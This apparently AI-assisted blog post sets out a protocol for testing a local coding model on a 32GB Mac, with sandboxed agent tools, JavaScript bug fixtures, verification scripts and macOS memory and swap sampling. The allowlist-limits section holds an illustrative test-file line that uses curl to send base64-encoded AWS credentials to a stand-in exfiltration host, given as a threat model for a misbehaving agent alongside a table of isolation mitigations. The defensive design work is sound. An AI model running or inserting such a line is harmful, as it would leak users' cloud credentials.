
Testing Inkling 2 Mini on a 32GB Mac: Verified JavaScript Fixes, Peak Memory, and Swap
On this page
What This Test Must Establish Before Calling Inkling 2 Mini Useful
A 26.4B-parameter model that "runs on a 32GB Mac" is a statement about loading weights; productivity is a different claim. This post gives you a reproducible protocol for testing Inkling 2 Mini on a 32GB Mac, covering verified JavaScript fixes, peak memory and swap, tool-call reliability, latency, and cost per verified fix, with the exact commands, telemetry schema, and pass/fail criteria needed to repeat the run. Between the headline and a useful agent sit the harness, the tool-call protocol, the JavaScript test runner, macOS, and a dozen failure modes that never make a headline, so the results stay empty until someone produces them.
The AI-usage disclosure for this article lives in the frontmatter (aiUsage: 90), not in a body component. It's a disclosure signal and nothing else: not editorial review, and not evidence that a human verified anything below.
Frame the engineering question: can a coding agent produce independently verified JavaScript fixes on a 32GB Mac without unacceptable memory pressure, swap growth, or latency?
The question I can actually test is narrow:
Given a 32GB Apple Silicon Mac, a pinned model artifact, and a fixed set of JavaScript repository bugs, how many fixes does an agent built on this model produce that survive an independent test run from a clean checkout — and what does the machine look like while it does that?
Every clause matters. "Independently verified" rules out anything the model claims about itself. "From a clean checkout" rules out patches that pass only because the agent edited the test. "What the machine looks like" rules out the case where a fix lands in 90 seconds while the box is compressed to a standstill and three later tasks time out.
State the technical position: fitting model weights into memory is not evidence that a complete agent workflow is practical
Stated up front, so the results can contradict it:
A model that loads within 32GB unified memory has cleared the least interesting barrier. The binding constraints for a local coding agent are (1) peak resident footprint of the whole stack — model server, KV cache, harness, test runner — (2) swap traffic once peak crosses the free-memory line, (3) tool-call schema reliability under long contexts, and (4) latency per verified fix rather than per token. A configuration can pass (1) and fail all the rest.
If the measurements later show a high verified-fix rate at low swap growth, this position is wrong in a useful way, and I'll say so with the numbers attached. Until then it stays a position, not a finding.
Define the evidence boundary: the supplied material contains news snippets, not verified model documentation or completed experiments
Putting this first, because most write-ups skip it.
What the supplied material actually contains: four secondary news items dated 2026-11-20 and 2026-11-21, with headlines and one-line snippets. What it does not contain: a model card, a release announcement from the publisher, weight file names, quantization variants, license text, a supported chat template, a tool-call specification, or any benchmark method description.
So, in this post:
| Category | Status |
|---|---|
| Parameter count, publisher, release window | Reported by secondary outlets; not confirmed against primary documentation |
| "Runs on a 32GB Mac" | A headline claim; no stated context length, quantization, or throughput attached |
| "Looped transformer" | Design description from secondary coverage; mechanism unverified |
| Peak memory, swap, latency, verified-fix rate | Not measured. No run has been completed for this post |
| Weight-only arithmetic (13.2 GB) | Arithmetic on a reported number, not a measurement |
I'm not going to dress a news summary up as a lab report. What follows is the protocol, the code, and the exact places where each number belongs once someone runs it.
Follow the walkthrough order: claims, environment, harness, tasks, telemetry, results, decision
The order is deliberate: claims and the claim ledger first, then environment, then harness, then tasks, then telemetry, then results, then the decision. If you only want the commands, jump to the environment manifest and the sampler. A memory number without the harness that produced it isn't comparable to anyone else's memory number, and that's how "runs on a 32GB Mac" became a claim nobody can check in the first place.
Verify the Inkling 2 Mini Release Claims and Identify the Exact Model
Preserve the reported timeline: the supplied coverage is dated November 20–21, 2026, and attributes Inkling 2 Mini to Thinking Machines
The supplied coverage clusters in a 30-hour window:
| Published (UTC) | Publisher | Headline gist |
|---|---|---|
| 2026-11-20 20:13 | Vals AI | Benchmarks, cost, capabilities |
| 2026-11-20 21:50 | news.lavx.hu | Release, looped transformer, local agentic coding |
| 2026-11-21 00:37 | Superpower Daily | Open weights, looping design |
| 2026-11-21 02:18 | Kingy AI | 26.4B coding model on a 32GB Mac |
Four outlets, one release window, no primary document in the set. The consistency across outlets is mildly reassuring — a fabricated release is unlikely to produce four aligned headlines — but consistency across aggregators is not independent corroboration when they're all summarising the same announcement.
Attribute the specific claims: Kingy AI describes a 26.4B model running on a 32GB Mac; other supplied snippets describe open weights, a looped transformer, and agentic coding
Map each claim to exactly one source so it can be retracted cleanly:
- 26.4B parameters, 32GB Mac — Kingy AI. The headline is the entire claim; the snippet contains no context length, no quantization level, no tokens/second, no measurement method.
- Open weights — Superpower Daily. "Open weights" is not a license. It says nothing about commercial use, redistribution, or derivatives.
- Looped / looping design — Superpower Daily and news.lavx.hu. Neither snippet specifies what is reused across iterations or whether loop count is a runtime knob.
- Agentic coding focus, benchmark and cost coverage — Vals AI. A benchmark number without the harness, prompt format, and pass criterion isn't portable to a local agent loop.
"Open weights" and "runs on a 32GB Mac" are the two claims most likely to be technically true and practically misleading at the same time. A 4-bit artifact at 8K context and a full-precision artifact at 128K context are both "the model"; only one of them is a coding agent.
Build a claim ledger distinguishing secondary reporting, primary-source confirmation, local observations, and unresolved questions
The ledger is a working document. Keep it in the repo next to the harness so results can cite claim IDs.
ID CLAIM STATUS SOURCE / NOTE
C-01 Publisher is Thinking Machines secondary all four outlets
C-02 Name is "Inkling 2 Mini" secondary all four outlets
C-03 26.4B parameters secondary Kingy AI headline only
C-04 Runs on a 32GB Mac secondary Kingy AI headline; config unknown
C-05 Weights are open secondary Superpower Daily; license unknown
C-06 Looped transformer architecture secondary Superpower Daily, news.lavx.hu
C-07 Targeted at agentic coding secondary all four outlets
C-08 Exact artifact, revision, quantization UNRESOLVED needs model card
C-09 Chat template and tool-call format UNRESOLVED needs release docs
C-10 Loop count exposed as runtime setting UNRESOLVED needs architecture docs
C-11 Peak RSS of full agent stack on 32GB NOT MEASURED run protocol, §5
C-12 Verified-fix rate on 12 JS bugs NOT MEASURED run protocol, §6
Anything labelled UNRESOLVED blocks the installation commands. That's the point of the ledger: it stops the write-up from quietly acquiring facts it never had.
Require official release documentation, a model card, weight provenance, license terms, and runtime compatibility before providing installation commands
Before a single pull or download runs, these five artifacts should exist and be readable:
- Release documentation stating the exact model identifier and revision.
- Model card with parameter count, context length, training-data summary, and intended use.
- Weight provenance — a checksum, a signing key, or a documented distribution channel.
- License terms covering local use, redistribution, and derivative artifacts.
- Runtime compatibility — which inference runtimes and versions are supported, and which quantization formats are official rather than community conversions.
None of these were in the supplied material. So instead of a fabricated ollama pull inkling2-mini:q4_K_M, here is the shape the commands take once the identifiers are known, with placeholders marked so nobody mistakes them for real values:
## PLACEHOLDERS. Do not run until §2.5 identifiers are confirmed
## from official documentation and recorded in claims.lock.
MODEL_ID="<official-model-id>" # e.g. from the model card
MODEL_REV="<immutable-revision>" # commit hash or tag, never "latest"
QUANT_ID="<official-quant-artifact>" # only artifacts the publisher lists
RUNTIME_VER="<pinned-runtime-version>" # inference server version
TOKENIZER_REV="<tokenizer-revision>"
Pin the model revision, tokenizer, chat template, quantization artifact, checksum, runtime version, and supported tool-call format; do not invent unavailable identifiers
Pinning seven things sounds excessive until the first non-reproducible result. latest isn't a revision; it's a promise that your numbers will change without notice.
## claims.lock — written once, read by every run, committed to the repo
MODEL_ID=<from model card>
MODEL_REV=<immutable revision>
MODEL_SHA256=<sha256 of the weight file as distributed>
TOKENIZER_REV=<immutable revision>
CHAT_TEMPLATE_SHA256=<sha256 of the template file used>
QUANT_ID=<official quant identifier>
RUNTIME_NAME=<runtime>
RUNTIME_VER=<version>
TOOLCALL_FORMAT=<json-schema | native-functions | text-protocol>
CONTEXT_TOKENS=<documented maximum used in this test>
Verify the weights before loading, not after a weird benchmark:
shasum -a 256 "$WEIGHT_FILE" | tee weights.sha256
## compare against MODEL_SHA256 from the publisher; mismatch = stop
If the publisher doesn't publish a checksum, record that in the ledger as C-13 checksum: not published. A missing checksum is a finding about reproducibility, not a reason to skip the step silently.
Define a Reproducible 32GB Mac Test Environment
Record the Mac chip, CPU and GPU configuration, macOS build, physical memory, available disk space, power mode, and background workload
Memory results don't transfer across Apple Silicon generations. An M1 Max and an M4 Pro carrying the same 32GB label have different memory bandwidth, different GPU core counts, and different SSD generations driving swap behaviour under load. Capture the machine, not the marketing name.
#!/usr/bin/env bash
## env-manifest.sh — run once, write env-manifest.txt, commit it
set -euo pipefail
OUT="${1:-env-manifest.txt}"
{
echo "# environment manifest"
echo "captured_utc=$(date -u +%Y-%m-%dT%H:%M:%SZ)"
echo
echo "## hardware"
sysctl -n machdep.cpu.brand_string || true
system_profiler SPHardwareDataType 2>/dev/null \
| grep -E "Model Name|Model Identifier|Chip|Total Number of Cores|Memory" || true
echo "hw_pagesize_bytes=$(sysctl -n hw.pagesize)"
echo "hw_memsize_bytes=$(sysctl -n hw.memsize)"
echo "hw_ncpu=$(sysctl -n hw.ncpu)"
echo
echo "## os"
sw_vers
echo "kernel=$(uname -a)"
echo
echo "## power"
pmset -g custom 2>/dev/null || true
pmset -g batt | head -5 || true
echo
echo "## disk (free space for weights + swap headroom)"
df -H / /System/Volumes/Data 2>/dev/null || df -H /
echo
echo "## swap at baseline (before anything is loaded)"
sysctl vm.swapusage
echo
echo "## background workload snapshot"
ps -Ao pid,ppid,%cpu,rss,comm | sort -k4 -nr | head -20
} | tee "$OUT"
Two of those entries matter more than they look. hw.pagesize is 16384 on Apple Silicon, not 4096 — every vm_stat page count in your telemetry has to be multiplied by that value, and hard-coding 4096 understates every memory figure in the post by 4×. pmset -g custom tells you whether Low Power Mode is on, which changes sustained inference throughput on laptops.
Explain the unified-memory budget: weights share capacity with runtime allocations, attention state, macOS, the agent harness, and JavaScript test processes
On a discrete-GPU machine, "does the model fit in VRAM" is roughly a partition question. On Apple Silicon there's one pool and everything draws from it:
| Consumer | Roughly proportional to | Notes |
|---|---|---|
| Model weights | parameter count × bytes per weight | Fixed at load time |
| KV cache | context tokens × layers × KV heads × head dim × bytes × 2 | Grows with context and concurrency |
| Runtime scratch / graph buffers | implementation-specific | Often the surprise line item |
| macOS + WindowServer + login items | installed software and open apps | 4–8 GB on a working machine is normal |
| Agent harness (Node.js) | conversation history, tool output buffers | Grows fastest when tool output is unbounded |
| Test runner child processes | your repo's test suite | Spawns and dies per attempt |
The practical budget on a 32GB machine with a normal desktop session is closer to 26–28GB of "available for experiments" than 32GB. When someone quotes a fit figure, the first question is what else was running.
Show the limited weight-only calculation: if the reported 26.4B parameter count is accurate, four-bit payloads alone occupy about 13.2 decimal GB before metadata and runtime overhead
This is arithmetic, not a measurement, and it's the only quantitative thing the reported parameter count buys us.
params = 26.4e9
4-bit packed = 0.5 bytes/param (no per-block metadata)
weight bytes = 26.4e9 × 0.5 = 13.2e9 bytes
= 13.2 GB (decimal, 1e9)
= 12.29 GiB (binary, 2^30)
Now add the parts the headline omits:
- Quantization block metadata. Common 4-bit schemes store per-group scales or zero-points; a 32-weight group with a 16-bit scale adds 2 bytes per 32 weights ≈ 0.0625 bytes/param ≈ 1.65 GB more at 26.4B. Group size 128 with a float16 scale is cheaper. The exact overhead depends on the artifact, which is why
QUANT_IDis pinned. - Embedding and output layers. Some quantization pipelines keep these at higher precision; that can be a non-trivial slice of the total.
- KV cache. For a 32K-token context you should expect several GB, scaling linearly with tokens. At 8K it's a fraction of that. This is the single largest reason "runs on a 32GB Mac" is unanswerable without a stated context length.
So: 13.2 GB of weights on a ~27GB effective budget leaves on the order of 13–14 GB for KV cache, runtime, harness, and test processes — at whatever context length and quantization the publisher actually shipped. That's a plausible budget for a small agent workload and an implausible one for a 128K-context session with a chatty harness. It isn't evidence either way.
A useful sanity check before trusting any memory number, including your own: if a claimed peak is below the weight-only floor for the stated quantization, the number is measuring something other than the model — a different quantization, a different artifact, or the wrong process.
Provide a shell-based environment manifest and a JavaScript run manifest with explicit units, version output, context settings, generation limits, and random seeds where supported
The environment manifest covers the machine. The run manifest covers the run, and it belongs next to the results.
// run-manifest.mjs — emitted by the harness at every run start
const sh = (cmd, args) => {
try {
return execFileSync(cmd, args, { encoding: "utf8" }).trim();
} catch {
return null; // record absence honestly
}
};
export function writeRunManifest({ outPath, cfg }) {
const manifest = {
run_id: randomUUID(),
started_utc: new Date().toISOString(),
units: {
memory: "bytes",
latency: "milliseconds (monotonic via performance.now)",
tokens: "tokenizer tokens, counted by runtime if exposed",
},
hardware: {
chip: sh("sysctl", ["-n", "machdep.cpu.brand_string"]),
memsize_bytes: Number(sh("sysctl", ["-n", "hw.memsize"])),
pagesize_bytes: Number(sh("sysctl", ["-n", "hw.pagesize"])),
ncpu: Number(sh("sysctl", ["-n", "hw.ncpu"])),
},
os: {
sw_vers: sh("sw_vers", []),
kernel: sh("uname", ["-a"]),
},
runtime: {
node: process.version,
model_id: cfg.modelId,
model_revision: cfg.modelRevision,
quant_id: cfg.quantId,
runtime_name: cfg.runtimeName,
runtime_version: cfg.runtimeVersion,
toolcall_format: cfg.toolcallFormat,
},
generation: {
context_tokens: cfg.contextTokens,
max_output_tokens: cfg.maxOutputTokens,
temperature: cfg.temperature,
top_p: cfg.topP,
seed: cfg.seed ?? null, // null = runtime does not support seeding
seed_supported: cfg.seed != null,
stop_sequences: cfg.stopSequences ?? [],
},
agent: {
harness_version: cfg.harnessVersion,
max_tool_calls: cfg.maxToolCalls,
max_wall_ms: cfg.maxWallMs,
tool_output_cap_bytes: cfg.toolOutputCapBytes,
},
};
writeFileSync(outPath, JSON.stringify(manifest, null, 2));
return manifest;
}
Note seed_supported. Some runtimes expose a seed and ignore it; some accept it and document that batching makes it non-deterministic. Writing seed: null when the runtime has no seed is honest. Writing a seed value the runtime ignores is not.
Separate cold starts from warm runs, define pre-run settling checks, and avoid implying that restarting a process clears system swap
Three hygiene rules that change results more than the model does:
- Cold start = first model load since boot or since the runtime was last stopped, with no prior inference in this session. Warm run = a subsequent run with the server already resident. Report them separately. Mixing them produces a bimodal latency distribution that averages into a meaningless middle.
- Settling check before each run: wait until swap-in/swap-out deltas are zero across two consecutive 5-second samples, and no compilation or indexing process is above ~5% CPU. Record how long settling took.
- Restarting the model process does not undo swap. macOS doesn't eagerly page swapped-out pages back in when a process exits; the compressed/swapped state decays as pages are touched. "I restarted, so memory was clean" is false. The only defensible baseline is a measured one:
## settling check: require two consecutive zero-delta samples
prev=""
for i in 1 2 3 4; do
cur="$(sysctl -n vm.swapusage)"
used="$(printf '%s' "$cur" | sed -E 's/.*used = ([0-9.]+)M.*/\1/')"
echo "t=${i} swap_used_M=${used}"
[ "$prev" = "$used" ] && echo "settled" && break
prev="$used"; sleep 5
done
If swap doesn't settle, either something is still running or the machine needs a reboot before a clean baseline. Say which one happened in the write-up.
Build a Safe JavaScript Coding-Agent Harness
Use a fixed repository commit, pinned Node.js version, locked dependencies, preinstalled packages, and a fresh workspace for every attempt
The fixture repo is created fresh per attempt from a known commit, with node_modules installed at image-build time and never touched during the run. That kills three contamination classes at once: cross-attempt state, network flakiness, and dependency drift.
#!/usr/bin/env bash
## make-workspace.sh <task-id> <attempt>
set -euo pipefail
TASK="$1"; ATTEMPT="$2"
FIXTURE_COMMIT="<pinned-fixture-commit>"
WS="/tmp/agentws/${TASK}-${ATTEMPT}"
rm -rf "$WS"
git clone --quiet --no-hardlinks /srv/fixtures/js-agent-fixtures.git "$WS"
git -C "$WS" checkout --quiet "$FIXTURE_COMMIT"
git -C "$WS" checkout --quiet -b "attempt/${TASK}-${ATTEMPT}"
## dependencies are vendored at build time; offline install only
npm --prefix "$WS" ci --offline --ignore-scripts --no-audit --no-fund
echo "$WS"
--ignore-scripts matters: npm lifecycle scripts are arbitrary code execution at install time. --offline matters: a network fetch mid-run makes latency and failure attribution impossible.
Define narrow tools for reading files, searching approved paths, applying patches, and running allowlisted tests; validate arguments and resolved paths
Four tools. No shell, no free-form command execution, no network.
// tools.mjs — every tool validates before it acts
const ROOT = await realpath(process.env.WORKSPACE);
// Resolve the parent directory so non-existent target files still get checked.
async function safeResolve(rel) {
if (typeof rel !== "string" || rel.length === 0) throw new Error("E_ARG: empty path");
if (path.isAbsolute(rel)) throw new Error("E_ARG: absolute path rejected");
const abs = path.resolve(ROOT, rel);
const parent = await realpath(path.dirname(abs)); // resolves symlinks
const resolved = path.join(parent, path.basename(abs));
if (resolved !== ROOT && !resolved.startsWith(ROOT + path.sep)) {
throw new Error("E_ESCAPE: path outside workspace");
}
return resolved;
}
export async function readFileTool({ path: rel, maxBytes = 65536 }) {
const abs = await safeResolve(rel);
const buf = await readFile(abs);
const truncated = buf.length > maxBytes;
return {
path: rel,
bytes: buf.length,
truncated,
content: buf.subarray(0, maxBytes).toString("utf8"),
};
}
The startsWith(ROOT + path.sep) check is the part people get wrong. startsWith("/tmp/ws") matches /tmp/ws-evil/, and a realpath on the target alone throws for files the agent is about to create. Resolving the parent and re-joining the basename handles both.
The test tool is an allowlist by task, executed without a shell:
const ALLOWED = new Set(["node:test:unit", "node:test:acceptance"]);
export function runTests({ suite, timeoutMs = 120_000 }) {
if (!ALLOWED.has(suite)) throw new Error("E_ARG: suite not allowlisted");
const files = {
"node:test:unit": ["test/unit/**/*.test.js"],
"node:test:acceptance": ["../acceptance/**/*.test.js"], // outside workspace
}[suite];
return new Promise((resolve) => {
const child = spawn(process.execPath, ["--test", "--test-reporter=tap", ...files], {
cwd: process.env.WORKSPACE,
shell: false, // never a shell
detached: true, // own process group, killable as a unit
env: {
PATH: "/usr/bin:/bin:/usr/local/bin",
HOME: "/tmp/agenthome",
NODE_OPTIONS: "--max-old-space-size=2048",
NO_NETWORK: "1",
},
stdio: ["ignore", "pipe", "pipe"],
});
const chunks = [];
child.stdout.on("data", (c) => chunks.push(c));
child.stderr.on("data", (c) => chunks.push(c));
const killTimer = setTimeout(() => {
try { process.kill(-child.pid, "SIGKILL"); } catch {}
}, timeoutMs);
child.on("exit", (code, signal) => {
clearTimeout(killTimer);
resolve({
exitCode: code,
signal,
timedOut: signal === "SIGKILL",
output: Buffer.concat(chunks).toString("utf8").slice(0, 200_000),
});
});
});
}
detached: true plus process.kill(-pid) is the descendant cleanup that a plain child.kill() misses. A test that spawns a server and hangs leaves orphans otherwise, and those orphans keep holding memory — which pollutes the next task's memory measurement, not this one. That's a measurement bug disguised as a cleanup bug.
Run under a restricted local account or suitable isolation boundary with no credentials, controlled network access, execution timeouts, and descendant-process cleanup
Application-level validation is necessary and insufficient. Run the harness as a dedicated account with no keychain access, no ~/.ssh, no cloud credential files, and an outbound firewall rule that permits only the loopback model server:
## illustrative: dedicated account + loopback-only egress
sudo dscl . -create /Users/agentrunner
sudo dscl . -create /Users/agentrunner UserShell /usr/bin/false
sudo dscl . -create /Users/agentrunner NFSHomeDirectory /var/agentrunner
sudo dscl . -passwd /Users/agentrunner "$(openssl rand -base64 32)" # unloggable password
sudo chmod 700 /var/agentrunner
On macOS the strong boundary is a sandbox profile or a VM. sandbox-exec is deprecated and its profile language is undocumented; if you use it, treat it as defence in depth, not a guarantee, and say so in the write-up instead of implying OS-grade isolation you didn't verify.
Explain the limits of application-level allowlists: repository code and test scripts can execute arbitrary code unless operating-system isolation also constrains them
Here's the hole, stated plainly. The runTests tool above allowlists which suite runs. It doesn't constrain what that suite does. The suite executes files from the workspace, and those files are editable by the agent. An agent that writes
// test/unit/pagination.test.js (agent-modified)
execSync("curl -s https://example.invalid/exfil?d=$(cat ~/.aws/credentials | base64)");
hasn't escaped an allowlist; it has used the allowlist as intended. The allowlist said "run the unit suite," and the unit suite does whatever it contains.
Mitigations, in increasing strength:
| Layer | Stops | Does not stop |
|---|---|---|
| Path validation in tools | Path traversal, absolute paths, symlink escape | Code inside approved files |
Suite allowlist + --ignore-scripts | Arbitrary shell from the harness, install-time hooks | Malicious content of allowlisted suites |
shell: false + scrubbed env | Shell injection via argv, credential inheritance | Direct syscalls from JS |
| Restricted user + no credentials | Reading secrets, writing outside the workspace | Network egress, filesystem reads of world-readable data |
| Egress firewall (loopback only) | Data exfiltration | Local resource abuse, timing attacks |
| VM / separate machine | Nearly everything | Your own measurement fidelity |
For a benchmark that runs a known fixture set, this stack is defensible because the agent isn't adversarial most of the time. For anything running untrusted repos, the VM is not optional.
Capture raw model responses, parsed tool calls, tool results, patches, test output, and monotonic timestamps in a documented JSONL event schema
One line per event, append-only, written before the next step begins. Timestamps use performance.now() for durations and ISO wall-clock for correlation; never compute latency by subtracting wall-clock strings across a clock adjustment.
// events.mjs
export function createEventLog(path, runId) {
const t0 = performance.now();
return (event) => {
const rec = {
schema: "hackyjs.agent.event/1",
run_id: runId,
seq: event.seq,
t_mono_ms: Number((performance.now() - t0).toFixed(3)),
t_wall_utc: new Date().toISOString(),
type: event.type, // request|response_raw|tool_call_parsed|tool_result|patch|test_run|error|budget
task_id: event.taskId,
attempt: event.attempt,
payload: event.payload,
};
appendFileSync(path, JSON.stringify(rec) + "\n");
return rec;
};
}
Event types and the fields that must be present:
type | Required payload fields |
|---|---|
request | model_rev, context_tokens_in, messages_hash, tools_hash |
response_raw | raw_text, raw_bytes, tokens_out, finish_reason, wall_ms |
tool_call_parsed | name, args, parse_ok, schema_ok, validation_error |
tool_result | name, ok, bytes, truncated, error_class, wall_ms |
patch | files_changed, diff, lines_added, lines_removed |
test_run | suite, exit_code, passed, failed, timed_out, wall_ms |
error | layer, message, stack_hash |
budget | tool_calls_used, wall_ms_used, tokens_used |
messages_hash and tools_hash cost almost nothing and let you prove two runs saw identical prompts — the difference between "same configuration" and "same configuration by intent."
Separate failures in model output, tool-call parsing, argument validation, tool execution, and the agent control loop rather than assigning every failure to the model
Six failure layers, each with a distinct owner:
L1 model output — no tool call emitted, unparseable text, wrong answer in prose
L2 tool-call parsing — valid-looking call, malformed JSON / wrong envelope
L3 argument validation — parsed but rejected (bad path, unknown suite, wrong type)
L4 tool execution — accepted then failed (test crashed, patch did not apply)
L5 control loop — harness bug: gave up early, repeated a call, mis-summarised a result
L6 environment — timeout, OOM kill, disk full, harness crash
A post that reports "the model failed 4/12" without this split is reporting a number nobody can act on. L2 and L3 failures are fixed by better tool schemas and stricter generation limits. L4 failures are usually fixture bugs. L1 is the only layer that says something about the model, and even there, prompt format confounds it.
Design JavaScript Tasks That Measure Verified Fixes
Propose a predeclared suite of 12 bounded bugs with three independent attempts per configuration; label this as the planned sample, not completed evidence
Twelve tasks, three attempts, three configurations = 108 runs. That's enough to separate a 40% success rate from an 80% one, and nowhere near enough to separate 60% from 70%. Better to state the sample size that bluntly.
This suite is planned, not executed. No Inkling 2 Mini run has produced these numbers.
| ID | Bug class | Target file | Difficulty |
|---|---|---|---|
| JS-01 | async error swallowed in Promise.all | src/batch.js | low |
| JS-02 | ESM path resolution fails on Windows-style separators | src/loader.mjs | medium |
| JS-03 | Request body validation accepts extra fields | src/validate.js | low |
| JS-04 | Pagination off-by-one at exact page boundary | src/paginate.js | low |
| JS-05 | Non-deterministic state update order | src/reducer.js | medium |
| JS-06 | Unhandled rejection in stream pipeline | src/stream.js | medium |
| JS-07 | Retry loop retries non-retryable 4xx | src/retry.js | low |
| JS-08 | Timeout not cleared on early return | src/withTimeout.js | low |
| JS-09 | structuredClone of non-cloneable config | src/config.js | medium |
| JS-10 | Race between close and data events | src/tail.js | hard |
| JS-11 | Integer overflow in byte-size formatter | src/format.js | low |
| JS-12 | Cache key collision across case variants | src/cache.js | medium |
Difficulty is my pre-run estimate and should be revised after the first pass. If JS-10 goes 0/3 across every config while JS-01 goes 3/3, the suite is unbalanced and the aggregate rate is really just a statement about JS-10.
Cover realistic repository work such as asynchronous error handling, ESM path resolution, request validation, pagination boundaries, and deterministic state updates
Each bug should be the kind that shows up in a code review and takes a human 5–20 minutes. Not LeetCode. Not a one-line typo. The distribution above skews toward async and boundary conditions because those are where local coding agents most often produce plausible-looking patches that fail on the second assertion.
Define each task using a failing reproduction, an allowed edit surface, acceptance tests, regression tests, and a fixed time and tool-call budget
A task is a tuple, and all five parts are fixed before the first run:
## tasks/JS-04.yaml
id: JS-04
title: pagination off-by-one at exact page boundary
reproduction: test/unit/paginate.boundary.test.js # fails on clean checkout
allowed_edits:
- src/paginate.js
acceptance: ../acceptance/JS-04.test.js # outside workspace, agent cannot read
regression: ../acceptance/regression/*.test.js # must still pass
budget:
wall_ms: 240000
tool_calls: 40
max_output_tokens_per_call: 2048
pass_criteria:
acceptance_exit: 0
regression_exit: 0
forbidden_diff:
- "test/**"
- "package.json"
- "package-lock.json"
The allowed_edits list is enforced by the patch tool, not by the prompt. The forbidden_diff list is enforced after the fact and causes an automatic fail regardless of test outcome. Prompts are advisory; diffs are checkable.
Show a representative JavaScript fixture, its initial failing assertion, and the expected passing output without presenting illustrative output as an observed Inkling 2 Mini result
The following is a fixture and illustrative output only. It is not an Inkling 2 Mini result.
// src/paginate.js (broken fixture)
export function paginate(items, page, perPage) {
const start = page * perPage; // bug: pages are 1-based
return items.slice(start, start + perPage);
}
// test/unit/paginate.boundary.test.js
test("page 1 returns the first perPage items", () => {
const items = Array.from({ length: 10 }, (_, i) => i);
assert.deepEqual(paginate(items, 1, 3), [0, 1, 2]);
});
Initial state on a clean checkout:
$ node --test test/unit/paginate.boundary.test.js
not ok 1 - page 1 returns the first perPage items
---
actual: [ 3, 4, 5 ]
expected: [ 0, 1, 2 ]
...
## fail 1
Independent acceptance run after a correct patch — again, illustrative:
$ node --test ../acceptance/JS-04.test.js
ok 1 - page 1 returns first slice
ok 2 - page 2 returns second slice
ok 3 - last page returns remainder
ok 4 - out-of-range page returns []
## pass 4
The fixture shows two things. First, the observable failure ([3,4,5] vs [0,1,2]) is specific enough that a correct patch is one line and an incorrect patch is visibly wrong. Second, the acceptance suite checks the contract — including the out-of-range case the unit test never covers — from a directory the agent can't read or edit.
Keep acceptance tests outside the agent's editable workspace, reject test weakening and dependency changes, and verify the final patch from a clean checkout
The verification path is the whole benchmark. It has to be mechanical:
#!/usr/bin/env bash
## verify.sh <task-id> <workspace> — the only source of truth for "fixed"
set -euo pipefail
TASK="$1"; WS="$2"
VERIFY="/tmp/verify/${TASK}-$(date +%s)"
## 1. Reconstruct a clean tree from the fixture commit
git clone --quiet --no-hardlinks /srv/fixtures/js-agent-fixtures.git "$VERIFY"
git -C "$VERIFY" checkout --quiet "$FIXTURE_COMMIT"
## 2. Apply ONLY the agent's diff, and only to allowed paths
git -C "$WS" diff "$FIXTURE_COMMIT" > /tmp/agent.patch
if git -C "$WS" diff --name-only "$FIXTURE_COMMIT" \
| grep -qE '^(test/|package(-lock)?\.json|npm-shrinkwrap\.json)'; then
echo "RESULT: fail (forbidden path modified)"; exit 3
fi
git -C "$VERIFY" apply --whitespace=nowarn /tmp/agent.patch
## 3. Fresh dependency install from the lockfile only
npm --prefix "$VERIFY" ci --offline --ignore-scripts --no-audit --no-fund
## 4. Acceptance + regression, outside the workspace
cp -R /srv/acceptance/JS-04 "$VERIFY/../acc-${TASK}"
node --test --test-reporter=tap "$VERIFY/../acc-${TASK}/JS-04.test.js"
node --test --test-reporter=tap "$VERIFY/../acc-${TASK}/regression/"
echo "RESULT: pass"
If step 2 fails to apply, the result is fail (patch did not apply) — not a retry, not partial credit. If the agent modified package.json to install a helper library, the run fails before any test executes.
Report first-attempt verified success separately from success after retries, and document suite size, task selection, and possible training-data contamination
Three outcome categories, never merged:
- first-attempt verified — attempt 1 patch passes independent acceptance on the first try.
- eventually verified — some attempt within 3 passes, with the attempt number recorded.
- never verified — all 3 attempts fail, with the failure layer from the L1–L6 taxonomy.
Contamination is a real caveat. These are ordinary JavaScript bugs; a model trained on enough open-source repositories has plausibly seen the shape of every one of them. That cuts in the optimistic direction for this benchmark: the tasks are easier than novel ones, so a poor result is meaningful while a good result is not a general capability claim. Say that in the write-up before anyone else does.
Measure Peak Memory, Memory Pressure, and Swap on a 32GB Mac
Provide timestamped macOS sampling commands using vm_stat and sysctl vm.swapusage, discovering the actual page size instead of assuming one
vm_stat reports pages, not bytes. The page size comes from the system.
#!/usr/bin/env bash
## sample-mem.sh <out.jsonl> <interval_ms> <pid1,pid2,...>
set -euo pipefail
OUT="$1"; INTERVAL_MS="$2"; PIDS="$3"
PAGESIZE=$(sysctl -n hw.pagesize)
INTERVAL_S=$(awk -v ms="$INTERVAL_MS" 'BEGIN{printf "%.3f", ms/1000}')
while :; do
ts=$(date -u +%Y-%m-%dT%H:%M:%S.%3NZ 2>/dev/null || date -u +%Y-%m-%dT%H:%M:%SZ)
vmstat_raw=$(vm_stat)
swap_raw=$(sysctl -n vm.swapusage)
free_p=$(printf '%s\n' "$vmstat_raw" | awk -F: '/Pages free/{gsub(/[ .]/,"",$2);print $2}')
active_p=$(printf '%s\n' "$vmstat_raw" | awk -F: '/Pages active/{gsub(/[ .]/,"",$2);print $2}')
wired_p=$(printf '%s\n' "$vmstat_raw" | awk -F: '/Pages wired down/{gsub(/[ .]/,"",$2);print $2}')
comp_p=$(printf '%s\n' "$vmstat_raw" | awk -F: '/Pages occupied by compressor/{gsub(/[ .]/,"",$2);print $2}')
swapouts=$(printf '%s\n' "$vmstat_raw" | awk -F: '/Swapouts/{gsub(/[ .]/,"",$2);print $2+0}')
swapins=$(printf '%s\n' "$vmstat_raw" | awk -F: '/Swapins/{gsub(/[ .]/,"",$2);print $2+0}')
swap_total=$(printf '%s' "$swap_raw" | sed -E 's/.*total = ([0-9.]+)M.*/\1/')
swap_used=$(printf '%s' "$swap_raw" | sed -E 's/.*used = ([0-9.]+)M.*/\1/')
procs=$(ps -o pid=,rss=,comm= -p "$(printf '%s' "$PIDS" | tr ',' ',')" 2>/dev/null \
| awk '{printf "{\"pid\":%d,\"rss_bytes\":%d,\"comm\":\"%s\"},", $1, $2*1024, $3}' \
| sed 's/,$//')
printf '{"t_utc":"%s","pagesize_bytes":%d,"free_bytes":%d,"active_bytes":%d,"wired_bytes":%d,"compressor_bytes":%d,"swap_total_bytes":%d,"swap_used_bytes":%d,"swapins":%d,"swapouts":%d,"procs":[%s]}\n' \
"$ts" "$PAGESIZE" \
"$((free_p*PAGESIZE))" "$((active_p*PAGESIZE))" "$((wired_p*PAGESIZE))" "$((comp_p*PAGESIZE))" \
"$(awk -v m="$swap_total" 'BEGIN{printf "%d", m*1048576}')" \
"$(awk -v m="$swap_used" 'BEGIN{printf "%d", m*1048576}')" \
"$swapins" "$swapouts" "$procs" >> "$OUT"
